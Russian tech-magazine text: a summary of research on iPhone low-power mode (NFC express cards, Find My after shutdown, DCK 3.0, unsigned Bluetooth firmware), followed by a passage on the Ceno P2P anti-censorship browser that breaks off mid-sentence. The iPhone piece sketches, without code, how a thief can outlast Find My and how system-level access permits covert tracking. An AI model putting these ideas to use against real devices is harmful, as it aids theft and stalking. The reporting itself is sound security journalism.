зовате лем.

боль шое иссле дова ние

Бес про вод ные чипы в iPhone могут работать в так называ емом режиме
низ кого энер гопот ребле ния (Low Power Mode, LPM). Обра ти вни мание: LPM
не тож дес тве нен энер госбе рега юще му режиму, который обоз нача ется икон- 
кой «жел тая батарея». В режиме LPM устрой ство не реаги рует на нажатия
или встря хива ние. Этот режим акти виру ется либо ког да поль зователь вык-
люча ет телефон, либо ког да iOS завер шает работу авто мати чес ки из-за низ- 
кого заряда батареи. Если нажать кноп ку вклю чения в эко ном ном режиме
с низ ким энер гопот ребле нием, то экран акти виру ется все го на нес коль ко
секунд. Устрой ство сооб щит о низ ком заряде акку муля тора и выведет спи сок
активных в дан ный момент воз можнос тей LPM, как показа но на сле дующем
рисун ке.

Find My и Express Cards в энер госбе рега ющем режиме

Сеть Find My Phone оста ется дос тупна пос ле вык лючения устрой ства. Если ты
потеря ешь iPhone, ког да он раз ряжен, как раз с помощью этой сети его
и мож но най ти — она работа ет на осно ве Bluetooth. Режим Express Mode под- 
держи вает выб ранные про ездные билеты, а так же кре дит ные кар ты и циф- 
ровые клю чи из «Кошель ка» — так устрой ство уда ется задей ство вать быс- 
трее, допол нитель ная аутен тифика ция со сто роны поль зовате ля не тре бует- 
ся. При отклю чении из-за низ кого заряда батареи эти кар ты и клю чи оста ются
дос тупны для исполь зования на про тяже нии пяти часов. Исходно для под- 
держа ния устрой ства во вклю чен ном виде со все ми эти ми воз можнос тями
тре бова лась толь ко NFC. Теперь же появил ся новый про токол DCK 3.0,
исполь зующий режимы Bluetooth и UWB, а так же под держи вающий режим
Express Mode. Этот про токол исполь зует ся в конс трук ции элек трон ных авто- 
мобиль ных клю чей, а режим Express Mode пре дох раня ет от неп рият ностей
из раз ряда «зах лопнул клю чи в машине или в квар тире». Еще он оставля ет
в рас поряже нии поль зовате ля его кар ты, что бы мож но было выпол нять пла- 
тежи, даже если телефон сел.

ÊÀÊ ÝÒÎ ÐÀÁÎÒÀÅÒ?

Под дер жка LPM реали зова на на аппа рат ном уров не. Модуль управле ния
питани ем PMU может вклю чать чипы пооди ноч ке. Чипы для Bluetooth и UWB
жес тко под клю чены к защищен ному эле мен ту (SE) чипа NFC и хра нят сек- 
реты, которые дол жны быть дос тупны в режиме LPM. Пос коль ку LPM под- 
держи вает ся на аппа рат ном уров не, эту под дер жку нель зя убрать, меняя
прог рам мные ком понен ты. Имен но поэто му вла делец сов ремен ного айфо на
уже не может быть уве рен ным, что чипы для бес про вод ной свя зи отклю чат ся
пос ле вык лючения устрой ства.

LPM зна читель но ковар нее, чем ими тация вык лючения девай са,
при которой прос то деак тивиру ется экран. Вспо мина ется слу чай, ког да
Агентство наци ональ ной безопас ности США ими тиро вало вык лючение экра- 
на на умном телеви зоре в целях шпи она жа. На айфо не при этом будет
заметен быс трый рас ход батареи, и такая «под садка» в мобиль ное устрой- 
ство не оста нет ся незаме чен ной.

Воз можнос ти Bluetooth и UWB в режиме LPM не докумен тирова ны и до
недав него вре мени не иссле дова лись. Но в руководс тве по безопас ности
для плат формы Apple под робно опи сана отно сяща яся к NFC LPM воз- 
можность под наз вани ем Express Card, появив шаяся в iOS 12. В сво ей работе
гер ман ские иссле дова тели исполь зовали инс тру мен ты для ана лиза и изме- 
нения про шив ки в сов ремен ных айфо нах, дос тупные для ска чива ния
в репози тори ях  и . С помощью этих прог рамм они
выяс нили, что в энер госбе рега ющем режиме айфо ны не столь безопас ны,
как это кажет ся со сто роны.

InternalBlue Frankenstein

iOS реали зует безопас ные бес про вод ные пла тежи на NFC-чипе с при- 
мене нием тех нологии Secure Element (SE). Эта тех нология работа ет на плат- 
форме JavaCard, которая выпол няет аппле ты, нап ример Apple Pay или DCK.
В ходе началь ной уста нов ки аппле ты пер сонали зиру ются. Пер сонали зация
поз воля ет допол нитель но раз гра ничи вать зоны безопас ности. Нап ример,
в пла теж ном аппле те не хра нит ся никакой информа ции о кре дит ных кар тах,
кро ме отзывно го иден тифика тора, извес тно го пла теж ной сети. Аппле ты,
в том чис ле их сек реты, отде лены друг от дру га. Они хра нят ся в SE и не
покида ют ее. В про цес се пла тежа или при бес про вод ных тран закци ях сре да
SE в сос таве чипа NFC откли кает ся нап рямую, не пере адре суя эти дан ные
в iOS. Сле дова тель но, даже если iOS или при ложе ния ском про мети рова ны,
кре дит ные кар ты и дру гие клю чи невоз можно украсть из SE.

Ис поль зование безопас ной сре ды (SE) и про цес сора Secure Enclave
Processor (SEP) в соот ветс твии с докумен таци ей Apple

Сре да SE под клю чена к про цес сору Secure Enclave Processor (SEP). Про цес- 
сор SEP авто ризу ет пла тежи, обес печивая аутен тифика цию поль зовате ля
через Touch ID, Face ID или c помощью пин-кода. Обра ти вни мание: SEP
не хра нит дан ные в SE, а исполь зует отдель ный безопас ный ком понент-хра- 
нили ще. SE и SEP объ еди няют ся в пару, сле дова тель но, ком муника ция меж ду
ними может шиф ровать ся и аутен тифици ровать ся.

ÝÊÑÏÐÅÑÑ-ÊÀÐÒÛ È FIND MY

При ложе ние Wallet («Кошелек») поз воля ет кон фигури ровать работа ющие
по NFC кре дит ные, дис кон тные кар ты и про ездные билеты, а так же клю чи
для режима Express Mode. Экс пресс-кар та боль ше не тре бует авто риза ции
по SEP, обес печивая таким обра зом быс трые и удоб ные пла тежи без раз бло- 
киров ки iPhone. В экс пресс-режиме, что бы прой ти авто риза цию, дос таточ но
лишь вла деть самим телефо ном. Если авто риза цию про пус тить, ни SEP,
ни iOS не пот ребу ются для завер шения тран закции по NFC, а сама ком- 
муника ция смо жет работать авто ном но, при помощи аппле тов SE.

Как толь ко у iPhone закон чится заряд, при усло вии, что у поль зовате ля
есть экс пресс-кар та, iPhone вык лючит ся, но чип NFC оста нет ся запитан
на про тяже нии пяти часов. В этот пери од экс пресс-кар ты будут работать,
но при вык лючении устрой ства по ини циати ве поль зовате ля NFС так же
отклю чает ся.

В iOS 15 появи лись две новые воз можнос ти, дос тупные в режиме низ кого
энер гопот ребле ния: Find My Phone, собс твен ная сеть Apple на осно ве
Bluetooth с низ ким энер гопот ребле нием (BLE), работа ющая офлайн и пред- 
назна чен ная для поис ка потерян ных устрой ств, и под дер жка циф рового авто- 
мобиль ного клю ча (Digital Car Key, DCK 3.0), при которой UWB при меня ется
для безопас ного изме рения рас сто яния. Сле дова тель но, и Bluetooth, и чип
UWB могут работать авто ном но, пока iOS отклю чена. Эти воз можнос ти
не докумен тирова ны и ранее не иссле дова лись.

Find My — это офлай новая сеть для нахож дения устрой ств, которую авто- 
ры док лада деталь но иссле дова ли, вклю чая реверс соот ветс тву юще го ПО.
Она находит iPhone, AirTag и дру гие устрой ства Apple, даже ког да они не под- 
клю чены к интерне ту. Если девайс не в сети, в режиме про пажи он регуляр но
шлет широко веща тель ные BLE-опо веще ния. Под клю чен ные к сети устрой- 
ства, рас положен ные поб лизос ти, ловят такие опо веще ния и сооб щают
закон ному вла дель цу, где находит ся его «потеряш ка».

Про токол Find My защищен сквоз ным шиф ровани ем, ано нимен и работа ет
с сох ранени ем кон фиден циаль нос ти. Эти гаран тии безопас ности осно ваны
на девайс-спе цифич ном «маяч ковом» мас тер-клю че, который син хро низи- 
рует ся с цепоч кой клю чей из поль зователь ско го iCloud. Поэто му дос туп сох- 
раня ется до тех пор, пока поль зователь в сос тоянии залоги нить ся в iCloud.

Це поч ка клю чей так же хра нит ся локаль но, а для дос тупа к ее сек ретно му
клю чу тре бует ся прой ти пол ный путь через SEP. На мас тер-клю че маяч ка
генери рует ся обо рачи вающаяся пос ледова тель ность пар, в каж дую
из которых вхо дит откры тый и зак рытый ключ. Эта пос ледова тель ность зафик- 
сирова на навеч но, и каж дый ключ дей стви телен толь ко в свой про межу ток
вре мени. Что бы свя зать откры тые клю чи в этой пос ледова тель нос ти друг
с дру гом, тре бует ся знать маяч ковый мас тер-ключ. Устрой ство широко веща- 
тель но сооб щает акту аль ный пуб личный ключ в виде BLE-объ явле ния, а часть
это го клю ча так же уста нав лива ет MAC-адрес слу чай ным обра зом. Любое
устрой ство, под клю чен ное к интерне ту и наб люда ющее BLE-объ явле ние сети
Find My, может зашиф ровать свое нынеш нее при мер ное мес тонахож дение
откры тым клю чом и сооб щить его Apple. Толь ко у закон ного вла дель ца
потерян ного устрой ства, которое пока находит ся офлайн, име ется под- 
ходящий зак рытый ключ, что бы рас шифро вать отчет о мес тополо жении.
По отче ту о мес тополо жении невоз можно иден тифици ровать сооб щивше го.
Цепоч ка откры тых клю чей на iPhone пол ностью про маты вает ся за 15 мин, что
огра ничи вает воз можность отсле дить смар тфон по его BLE-объ явле ниям.
Мет ки AirTag фун кци ональ но подоб ны сети Find My. Потеряв соеди нение
по Bluetooth с iPhone вла дель ца, они начина ют рас сылать широко веща тель- 
ные сооб щения, которые при нима ются дру гими под клю чен ными к сети
устрой ства ми.

Ра бота сети Find My под держи вает ся пос ле отклю чения питания,
и информа ция об этом выводит ся в диало говом окне завер шения работы.
Поль зователь может изме нить эту нас трой ку вся кий раз, ког да вык люча ет
устрой ство вруч ную. Если на iPhone пол ностью израсхо дует ся батарея и он
перей дет на резер вный источник питания, сеть Find My акти виру ется авто- 
мати чес ки, подоб но экс пресс-кар там на NFC-чипе. Для под дер жки режима
LPM тре бует ся про шив ка Bluetooth, которая может рас сылать BLE-сооб- 
щения, ког да iOS отклю чит ся.

Ди ало говое окно завер шения для сети Find My на iOS 15

Чи пы Broadcom Bluetooth могут кон фигури ровать ся либо для вза имо дей ствия
с хос том, нап ример iOS, либо для работы в качес тве авто ном ных при ложе- 
ний, нап ример на IoT-устрой ствах. При перехо де в режим LPM работа сте ка
iOS Bluetooth завер шает ся и нас трой ки чипа Bluetooth сбра сыва ются. Затем
мно жес тво команд интерфей са хост-кон трол лера кон фигури руют парамет ры
сети Find My. Пос ледняя коман да отклю чает HCI, тем самым оста нав ливая
вся кую ком муника цию с iOS. Про шив ка запус кает авто ном ный поток широко- 
веща тель ных сооб щений Find My. Модулю управле ния питани ем (PMU)
рекомен дует ся дер жать чип Bluetooth вклю чен ным, нес мотря на отклю чение
iOS.

Ко ман ды кон фигура ции HCI для сети Find My поз воля ют задавать мно жес- 
твен ные откры тые клю чи в рас чете на крат кий и дол гий интервал ротации.
Дли тель ность интерва ла и общее количес тво клю чей — перемен ные
парамет ры. В iOS 15.3 уста нав лива ется 96 клю чей на корот кий интервал
(15 мин) и 0 клю чей на дол гий интервал (24 ч). Сле дова тель но, авто ном ное
при ложе ние, работа ющее по Bluetooth, может отправ лять широко веща тель- 
ные сооб щения Find My в течение не более 24 ч.

«ÀÂÒÎÌÎÁÈËÜÍÛÅ» ÊËÞ×È DCK 3.0

На ряду с NFC-кар тами iOS так же под держи вает «авто мобиль ные» клю чи
(Digital Car Key, DCK 3.0). Их исполь зуют служ бы кар шерин га, а так же при- 
ложе ния, поз воля ющие управлять с телефо на сов ремен ными «циф ровыми»
авто моби лями — дис танци онно запус кать дви гатель, вклю чать режим охра ны,
откры вать со смар тфо на две ри и багаж ник, задей ство вать иммо билай зер.
Еще DCK поз воля ет уста нав ливать ско рос тной лимит для молодых водите лей,
а так же сов мес тно исполь зовать такой ключ через iCloud.

Нес мотря на удобс тво DCK с точ ки зре ния поль зовате ля, эта тех нология
прив носит новые век торы атак. Со сто роны реали зации основные рис ки
несут автопро изво дите ли. Ском про мети рован ный DCK или изъ яны в его
реали зации могут быть исполь зованы для уго на машины, но не для кра жи
iPhone. Угон реаль ной машины — это не циф ровой пла теж, его не отме нишь.
Такие рис ки и побуди ли автопро изво дите лей перей ти с DCK 2.0 (осно ван ных
на NFC) на DCK 3.0.

Аб бре виату ра NFC (ком муника ция ближ него поля) под ска зыва ет, что
успешные тран закции могут про ходить толь ко меж ду дву мя устрой ства ми,
находя щими ся рядом, NFC и дру гие срав нитель но ста рые тех нологии
для авто мобиль ных клю чей под верже ны эста фет ным ата кам. При эста фет ных
ата ках сиг налы пре дают ся на боль шие рас сто яния, чем задума но. Это серь- 
езная угро за, пос коль ку эста фет ная ата ка откры вает дос туп к машине, ког да
ее вла дель ца поб лизос ти нет. Корот кие дис танции мож но пре одо леть, уси- 
ливая име ющий ся сиг нал. На длин ных дис танци ях сиг нал тре бует ся декоди- 
ровать в пакеты и уже их пере адре совы вать с устрой ства на устрой ство. Пер- 
вый прак тичный и недоро гой инс тру мент для эста фет ных атак на осно ве NFC
был опи сан в 2011 году, и до сих пор под держи вают ся ана логич ные инс тру- 
мен ты, рас счи тан ные на новей шие NFC-тех нологии.

Тог да как спе цифи кация DCK 2.0 осно вана на NFC, в DCK 3.0 добав лен
кон троль безопас ного рас сто яния (secure ranging) на осно ве UWB. Хотя UWB
и рек ламиро валась как тех нология, под держи вающая кон троль безопас ного
рас сто яния, ее фун дамен таль ные изме ритель ные парамет ры неидеаль ны.
На прак тике уже про демонс три рова ны дешевые ата ки по сок ращению рас- 
сто яния, нап равлен ные на UWB-чип Apple (на дис танции до 12 м).

Про токол DCK 3.0 исполь зует как BLE, так и UWB. BLE обес печива ет пер- 
вичное соеди нение и аутен тифика цию. Затем UWB при меня ется для точеч- 
ного изме рения рас сто яния (ne ranging) с защитой сим метрич ным клю чом,
но без переда чи дан ных. Сле дова тель но, как BLE, так и UWB тре буют дос тупа
к сек ретно му клю чу. Спе цифи кация DCK 3.0, пошаго во опи сыва ющая работу
про токо лов BLE и UWB, дос тупна исклю читель но чле нам Car Connectivity
Consortium.

Apple ста ла исполь зовать аппа рат ные ком понен ты для DCK 3.0 с вер сии
iPhone 11. На айфо нах с под дер жкой DCK 3.0 безопас ная сре да (SE) жес тко
вши та в чипы Bluetooth и UWB. Сле дова тель но, ана логич но исполь зующим SE
NFC-тран закци ям, генери руемые SE откли ки переда ются непос редс твен но
в эфир, без сов мес тно го исполь зования в iOS. Модели айфо нов, обо рудо- 
ван ные чипами Bluetooth и UWB с под дер жкой низ кого энер гопот ребле ния
(LPM), перечис лены в сле дующей таб лице.

Бес про вод ные чипы, активно исполь зующие под дер жку LPM

ÍÅÄÎÑÒÀÒÊÈ FIND MY PHONE

На уров не при ложе ния иссле дова тели исхо дили из того, что зло умыш ленник
не манипу лиро вал про шив кой или ПО на iPhone. Нап ротив, ата кующие пыта- 
ются ском про мети ровать или исполь зовать воз можнос ти LPM — нап ример,
отклю чить сеть Find My Phone для кра жи iPhone или вос поль зовать ся экс- 
пресс-кар тами для кра жи денег.

На при мере сети Find My Phone было обна руже но, что телефон прек раща- 
ет посылать широко веща тель ные сооб щения гораз до рань ше, чем ожи- 
далось, а во мно гих слу чаях не рас сыла ет их вооб ще. При завер шении
работы по ини циати ве поль зовате ля сис тема соз дает все го 96 таких сооб- 
щений, которые рас сыла ются с интерва лом в 15 мин. Через 24 ч будут
переда ны все сооб щения. Это не разъ ясня ется поль зовате лю, который
может подумать, буд то его потерян ный iPhone мож но най ти в течение мно гих
дней. Кро ме того, сеть Find My Phone мож но вык лючить при отклю чении
питания устрой ства, но для это го в iOS 15.3 и выше при дет ся ввес ти
пароль — таким обра зом Apple пре дус мотре ла еще один инс тру мент про тив
кра жи.

За паро лен ное диало говое окно, в котором мож но отклю чить сеть Find
My при отклю чении питания

Сеть Find My прек раща ет работу до пер вой раз бло киров ки айфо на спус- 
тя 24 ч. При вык лючении телефо на сооб щения, рас счи тан ные на сле- 
дующие 24 ч, допол нитель но хра нят ся на устрой стве. Даже если сеть Find My
будет отклю чена при нуди тель но, сооб щения все рав но кеширу ются. Как толь- 
ко iPhone заг рузит ся, он вос ста новит токен Find My из хра нили ща с энер-
гонеза виси мой памятью (NVRAM), и этот токен сох раня ется от перезаг рузки
к перезаг рузке. Затем токен Find My исполь зует ся для дешиф ровки кеширо- 
ван ных сооб щений, пре дос тавляя дос туп к ним демону Bluetooth перед пер-
вой раз бло киров кой. По исте чении 24 ч iPhone прек раща ет рас сылать сооб- 
щения. Это не зависит от пред при нятых ранее дей ствий, iPhone мог уже
находить ся в режиме LPM или быть перезаг ружен нап рямую. Пос коль ку сооб- 
щения жес тко при вяза ны к зап ланиро ван ному пери оду переда чи, прод лить
этот пери од невоз можно.

Ес ли перед пер вой раз бло киров кой у iPhone есть соеди нение с интерне- 
том, то он под клю чит ся к сер верам Apple и сооб щит свое мес тополо жение.
iPhone может ока зать ся офлайн перед пер вой раз бло киров кой по мно гим
при чинам. Клю чи Wi-Fi дос тупны толь ко пос ле пер вой раз бло киров ки,
а сотовое соеди нение обры вает ся, если поль зователь защитил SIM-кар ту
пин-кодом либо SIM-кар та была извле чена. Сле дова тель но, вор может быть
уве рен, что через 24 ч фун кция Find My Phone будет неак тивна, даже если он
под клю чит iPhone к заряд ному устрой ству, — дос таточ но извлечь SIM-кар ту
и вклю чить телефон вне зоны дей ствия откры тых бес про вод ных сетей.

Да же ког да в поль зователь ском интерфей се отоб ража ется сооб щение,
что фун кция Find My Phone акти виро вана пос ле отклю чения питания, иног да
это не соот ветс тву ет дей стви тель нос ти. Нап ример, в Find My Phone может
отка зать генера ция сооб щений. Если при отклю чении устрой ства нас трой ка
Find My по какой-то при чине завер шится ошиб кой, никаких пре дуп режде ний
об этом поль зователь не получит.

Ис сле дова тели замети ли и еще один забав ный момент. Если при отклю- 
чении питания iPhone по ини циати ве поль зовате ля под клю чить устрой ство
к элек тро сети через заряд ку, а потом заряд ку убрать, то через пару часов
iPhone заг рузит ся сам. Если при отклю чении кабель в iPhone не встав лен, то
авто мати чес кой заг рузки устрой ства не про изой дет. По этой при чине поль- 
зователь через какое-то вре мя может обна ружить, что батарея его iPhone
пол ностью опус тошена, хотя он телефон не вклю чал.

ÂÌÅØÀÒÅËÜÑÒÂÎ Â ÏÐÎØÈÂÊÓ

В сов ремен ных моделях iPhone под дер жка LPM при сутс тву ет в чипах ком- 
муника ции NFC, UWB и Bluetooth. Зло умыш ленни ку не тре бует ся менять
поведе ние ядра, он может вос поль зовать ся име ющи мися драй верами, что бы
вклю чить LPM на этих чипах, при этом модифи циро вать при ходит ся толь ко
про шив ку чипа. Чип NFC — единс твен ный бес про вод ной чип на iPhone, обла- 
дающий зашиф рован ной и под писан ной про шив кой. Пусть даже и пред при- 
нима лись попыт ки обой ти безопас ный заг рузчик, они были безус пешны. Чип
UWB так же пре дус матри вает защищен ную заг рузку, но его про шив ка
не зашиф рована, толь ко под писана. При этом про шив ка Bluetooth не зашиф- 
рована и не под писана. Пос коль ку у чипа Bluetooth не пре дус мотре на
безопас ная заг рузка, в нем отсутс тву ет кор невой доверен ный сер тификат,
который поз волил бы про верить заг ружа емую про шив ку.

Зло умыш ленни ки, не обла дающие дос тупом к устрой ству на уров не сис- 
темы, могут попытать ся перех ватить управле ние девай сом через чип с под- 
дер жкой LPM. Ранее были выяв лены раз личные уяз вимос ти для серии
Bluetooth-чипов, исполь зуемых в iPhone. Такие уяз вимос ти так же сущес тву ют
и в дру гих бес про вод ных чипах. В час тнос ти, модуль Find My Phone рас сыла ет
сооб щения по Bluetooth, но не получа ет дан ные. Одна ко экс пресс-режим
для NFC, а так же Bluetooth и UWB для DCK 3.0 допус кают обмен дан ными.

Да же если бы вся про шив ка мог ла быть защище на от манипу ляций, зло- 
умыш ленник, обла дающий дос тупом к устрой ству на уров не сис темы, все
рав но мог бы отправ лять на его чипы собс твен ные коман ды. Демон Bluetooth
кон фигури рует режим LPM для сети Find My Phone при вык лючении устрой- 
ства, для это го исполь зуют ся вен дор-спе цифич ные коман ды HCI. Эти коман- 
ды выпол няют кон фигури рова ние с очень высокой детали заци ей, в том чис ле
поз воля ют нас тра ивать интерва лы ротации широко веща тель ных сооб щений
и их содер жимое. При помощи этих команд зло умыш ленник мог бы, к при- 
меру, уста новить пуб личный ключ в качес тве содер жимого каж дого вто рого
сооб щения так, что бы этот ключ под ходил к акка унту. Пос ле это го ата кующий
смог бы най ти устрой ство жер твы, а нас тоящий поль зователь видел бы в сети
Find My Phone недав нее мес тополо жение сво его iPhone, которо го там уже
нет.

ÇÀÊËÞ×ÅÍÈÅ

Пос коль ку под дер жка LPM осно вана на аппа рат ной сос тавля ющей iPhone, ее
невоз можно уда лить при помощи сис темных обновле ний. Соот ветс твен но,
она ока зыва ет дол госроч ное вли яние на всю модель безопас ности в iOS.

По-видимо му, дизайн воз можнос тей LPM в основном стро ился исхо дя
из прак тичес ких сооб ражений, без уче та угроз, воз ника ющих при выходе
за пре делы пре дус мотрен ных вари антов при мене ния. Пос коль ку сеть Find My
Phone про дол жает работать и пос ле вык лючения iPhone, устрой ства по опре- 
деле нию прев раща ются в инс тру мент для слеж ки, а реали зация про шив ки
Bluetooth не защище на от манипу ляций. Свой ства сле жения могут быть
незамет но изме нены зло умыш ленни ком, заполу чив шим дос туп к устрой ству
на уров не сис темы. Более того, сов ремен ная под дер жка циф ровых авто- 
мобиль ных клю чей тре бует свер хши рокой полосы переда чи дан ных в LPM.

В нас тоящее вре мя Bluetooth и UWB жес тко зашиты в безопас ную сре ду
(SE), имен но в них хра нят ся авто мобиль ные клю чи и дру гие сек реты. Учи- 
тывая, что про шив ка Bluetooth под дает ся манипу ляции, дос туп к интерфей сам
SE откры вает ся и из iOS.

Да же при том, что во мно гих вари антах при мене ния LPM повыша ется уро- 
вень защищен ности и безопас ности, Apple сле дова ло бы добавить в iPhone
аппа рат ный перек лючатель, который разъ еди нял бы устрой ство и батарею.
Это улуч шило бы ситу ацию для лиц, осо бен но обес поко енных кон фиден- 
циаль ностью дан ных и потен циаль но под вержен ных слеж ке, нап ример
для жур налис тов.

mailto:adrelian@gmail.com
https://arxiv.org/pdf/2205.06114.pdf
https://github.com/seemoo-lab/internalblue
https://github.com/seemoo-lab/frankenstein
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ПРИВАТНОСТЬ

Воп рос сво бод ного дос тупа к бло киру емо- 
му или под верга емо му цен зуре кон тенту
остро сто ит во мно гих стра нах. «Хакер» 

 о том, как за сво боду сло ва борет ся
Tor Project. Сегод ня мы погово рим об очень
инте рес ной аль тер нативе для обхо да цен- 
зуры и бло киро вок — мобиль ном бра узе ре
Ceno.

уже
писал

Еще со вре мен «гипер тек сто вого век торно го Фидоне та» челове чес тво меч- 
тало о децен тра лизо ван ной сети, пред назна чен ной для сво бод ного обще- 
ния. Хотя вру, конеч но. Оно меч тало об этом всег да. Резуль татом подоб ных
меч таний ста ло, в час тнос ти, появ ление тех нологий Tor и I2P. Но пыт ливый
челове чес кий разум не сто ит на мес те и со вре менем изоб рета ет новые
идеи: нап ример, бра узе ры, работа ющие через соеди нения peer-to-peer
и потому не под вержен ные цен зуре — по край ней мере, сог ласно задум ке их
раз работ чиков. Одно из таких при ложе ний для Android имен но так и называ- 
ется — .Censorship No, или, сок ращен но, Ceno

ÊÀÊ ÓÑÒÐÎÅÍ ÑENO

Ле жащий в осно ве Ceno прин цип доволь но прост. Устрой ства с уста нов- 
ленным на них бра узе ром обра зуют P2P-сеть, которая теоре тичес ки поз воля- 
ет тран сли ровать тра фик за пре делы цен зуриру емой зоны и обхо дить таким
обра зом бло киров ки и зап реты. То есть каж дое при ложе ние может еще и
выс тупать в роли брид жа для переда чи дан ных дру гим устрой ствам с Ceno.
Как толь ко один поль зователь получа ет дос туп к под цензур ному или заб- 
локиро ван ному кон тенту, этот кон тент кеширу ется и ста новит ся дос тупен дру- 
гим узлам сети Ceno. Имен но так это выг лядит в теории.

В осно ве Ceno лежит Firefox для Android с , которая
обес печива ет мар шру тиза цию peer-to-peer и кеширо вание при прос мотре
веб-стра ниц. Ког да исполь зующий Ouinet кли ент отправ ляет зап рос
на получе ние какой-либо веб-стра ницы, этот зап рос тран сли рует ся в одно- 
ран говую сеть и стра ница ищет ся в рас пре делен ном кеше сети, вер нее в его
индексе. Если иско мый кон тент там не обна ружи вает ся, зап рос перенап- 
равля ется доверен ному узлу-инжекто ру, который тран сли рует его на спе- 
циаль ный сер вер. Тот получа ет стра ницу из интерне та и сох раня ет ее в кеше.
При сле дующем зап росе этот документ будет заг ружен уже из Р2Р-сети. Все
это работа ет при мер но как обыч ный тор рент с одним отли чием: юзер может
получать кон тент без необ ходимос ти вылезать во внеш ний интернет.

биб лиоте кой Ouinet

Прин цип работы P2P-сети с тех нологи ей Ouinet (иллюс тра ция с сай та
раз работ чика)

Раз работ чики утвер жда ют, что этот под ход поз волит изба вить ся от мед ленно- 
го Tor и VPN, который в любой момент могут заб локиро вать, а заод но —
сэконо мить средс тва на тра фике, осо бен но в роумин ге, где он наибо лее
дорогой. Ну и конеч но же, речь идет об орга низа ции дос тупа к кон тенту
в сетях с ненадеж ным исхо дящим каналом (но мы-то понима ем, что имен но
они име ют в виду).

Лю бопыт ный нюанс: сами раз работ чики биб лиоте ки и бра узе ра пре дуп- 
режда ют, что она не может слу жить в качес тве пол ноцен ного инс тру мен та
для обес печения ано ним ности. Во-пер вых, Ouinet переда ет дру гим учас тни- 
кам одно ран говой сети информа цию о зап росах поль зовате ля, прос матри- 
ваемых им веб-стра ницах и тран сли руемом на дру гие узлы сети кон тенте.
Во-вто рых, само устрой ство с Ouinet ста новит ся фак тичес ки проз рачным
прок си. Не очень безопас но, вер но?

Вмес те с тем ано ним ность и обход цен зуры — это прин ципи аль но раз ные
катего рии. Соз датели Ceno говорят как раз о вто рой. Бра узер поз воля ет
получать дос туп к кон тенту в усло виях бло киро вок, огра ниче ний, агрессив ной
филь тра ции тра фика или даже если пол ностью перек рыт дос туп к внеш нему
интерне ту и одновре мен но внут ри стра ны соз дан наци ональ ный интра нет.
Имен но так дела обсто ят в КНР и Север ной Корее, весь ма бли зок к ней
Иран… В общем, не будем про дол жать этот спи сок. Раз работ чик биб лиоте ки
и бра узе ра — ком пания eQualitie гор до заяв ляет на сво ем сай те, что прог- 
рамма была соз дана с целью под дер жки ста тей 18, 19 и 20 Все общей дек- 
ларации прав челове ка, сре ди которых перечис лены пра ва на сво боду мыс ли,
совес ти и убеж дений.

ÁÐÀÓÇÅÐ

С точ ки зре ния поль зователь ско го интерфей са Ceno пред став ляет собой
обыч ный мобиль ный Firefox, все «нецен зурные» фун кции спря таны у него
под капотом. Для тран сля ции зап росов исполь зует ся про токол HTTP,
для переда чи кон тента — BitTorrent µTP. Шиф рование обес печива ется с при- 
мене нием TLS, для про вер ки под линнос ти тран сли руемых дан ных задей ство- 
ваны циф ровые под писи EdDSA в вер сии Ed25519. При необ ходимос ти Ouinet
может исполь зовать вмес то µTP тран спорт Tor, если в сети поль зовате ля бло- 
киру ются тор рент-про токо лы.

Все это вмес те при водит к тому, что Ceno генери рует зна читель но боль ше
тра фика по срав нению с дру гими мобиль ными бра узе рами — ведь ему необ- 
ходимо нап равлять зап росы сра зу на мно жес тво узлов сети и прок сировать
тра фик, что бы передать кон тент дру гим поль зовате лям. Поэто му под разуме- 
вает ся, что бра узер будут исполь зовать в сетях с хорошим качес твом свя зи
или нелими тиро ван ным тра фиком, в которых нет проб лем со связью внут ри
стра ны, но име ются слож ности с выходом во внеш ний интернет.

WARNING

Су щес тву ющая вер сия Ceno работа ет толь ко
на устрой ствах с про цес сорами ARM. Если ты
исполь зуешь Android на план шете с архи тек турой
x86 или пыта ешь ся запус тить Ceno в эму лято ре
без вир туали зации железа, ничего не получит ся.

À ×ÒÎ ÏÎÄ ÊÀÏÎÒÎÌ?

Ког да поль зователь с уста нов ленным на его Android-устрой стве Ceno зап- 
рашива ет какую-либо веб-стра ницу в интерне те, бра узер пыта ется получить
к ней дос туп по URL нап рямую. Если сде лать это го не уда ется, нап ример зап- 
рос к целево му сай ту бло киру ется, Ceno перенап равля ет его в рас пре делен- 
ный индекс P2P-сети. В этом индексе хра нят ся записи о том, на каком узле
сети име ется сох ранен ная копия целевой стра ницы. Индекс пос тро ен
с исполь зовани ем рас пре делен ных хеш-таб лиц DHT (distributed hash table) —
таких же, которые при меня ются для мар шру тиза ции в обыч ных тор рент-сетях.
Если иско мый кон тент обна ружи вает ся на каком-либо устрой стве, отпра вив- 
ший зап рос кли ент получа ет пару «IP-адрес:порт» это го девай са. URL в таб- 
лице индекса хра нят ся в виде хешей, для получе ния которых исполь зует ся
спе циаль ная крип тогра фичес кая хеш-фун кция. Но что делать, если нуж ного
кон тента в Р2Р-сети нет?

В этом слу чае кли ент обра щает ся к так называ емым инжекто рам.
Инжектор — это не деталь в авто моби ле, а спе циаль ный проз рачный прок- 
си-сер вер, который находит ся за пре дела ми цен зуриру емо го учас тка сети
и ста рает ся оста вать ся дос тупным для кли ентов Ceno. Тра фик меж ду
инжекто ром и кли ентом шиф рует ся с исполь зовани ем SSL/TLS, что бы ник то
не мог иден тифици ровать инжекто ры, прос лушивая тра фик. А что бы
какой-нибудь зло дей не выдал себя за инжектор, переда ваемый кон тент под- 
писыва ется циф ровой под писью EdDSA.

Ес ли один из инжекто ров вдруг «умрет» или будет заб локиро ван —
не беда, в сети их мно го. Раз работ чики Ceno исполь зуют для это го тер мин
«рой инжекто ров». Их адре са так же хра нят ся в рас пре делен ных хеш-таб- 
лицах, и кли ент получа ет их по зап росу.

Ес ли же кли енту не удас тся дос тучать ся ни до одно го инжекто ра, он
попыта ется передать зап рос и получить тре буемый кон тент через дру гие узлы
сети, для которых инжекто ры еще дос тупны. В этом слу чае тран зитные узлы
игра ют роль мос тов, или брид жей, а меж ду кли ентом и инжекто ром фор миру- 
ется тун нель через про межу точ ный узел. А пос коль ку тра фик «кли ент —
инжектор» шиф рует ся, бридж не видит, какую имен но информа цию он
переда ет.

Пе реда ча дан ных в сети Ceno (иллюс тра ция с сай та раз работ чика)

Пе ред тем как тран сли ровать кон тент в P2P-сеть, инжектор под писыва ет его
сво ей циф ровой под писью. Пос ле это го каж дый кли ент сам может стать
прок си-сер вером и делить ся дан ными из собс твен ного кеша с дру гими учас- 
тни ками сети — валид ная под пись инжекто ра гаран тиру ет, что этот кон тент
дей стви тель но получен из внеш него интерне та, а не под делан на внут реннем
